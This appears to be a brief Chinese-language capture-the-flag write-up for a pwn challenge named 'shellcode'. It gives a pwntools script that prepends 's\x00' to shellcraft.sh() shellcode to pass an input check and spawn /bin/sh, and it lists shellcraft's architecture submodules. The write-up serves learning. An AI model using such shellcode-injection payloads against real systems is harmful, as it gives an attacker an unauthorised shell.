一看題目是利用shellcode解決問題
偽代碼:
EXP:
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
p = process('./shellcode')
shellcode ='s\x00'+ asm(shellcraft.sh()):i,j指針同時指向s,跳出內循環,\x00結束外循環,return 1;
p.recvuntil("give me shellcode, plz:\n")
p.sendline(shellcode)
p.interactive()
return 1以后執行shellcraft.sh()則是執行/bin/sh的shellcode了
shellcraft模塊是shellcode的模塊,包含一些生成shellcode的函數。
其中的子模塊聲明架構,比如:
shellcraft.arm 是ARM架構的,
shellcraft.amd64是AMD64架構,
shellcraft.i386是Intel 80386架構的,
shellcraft.common是所有架構通用的。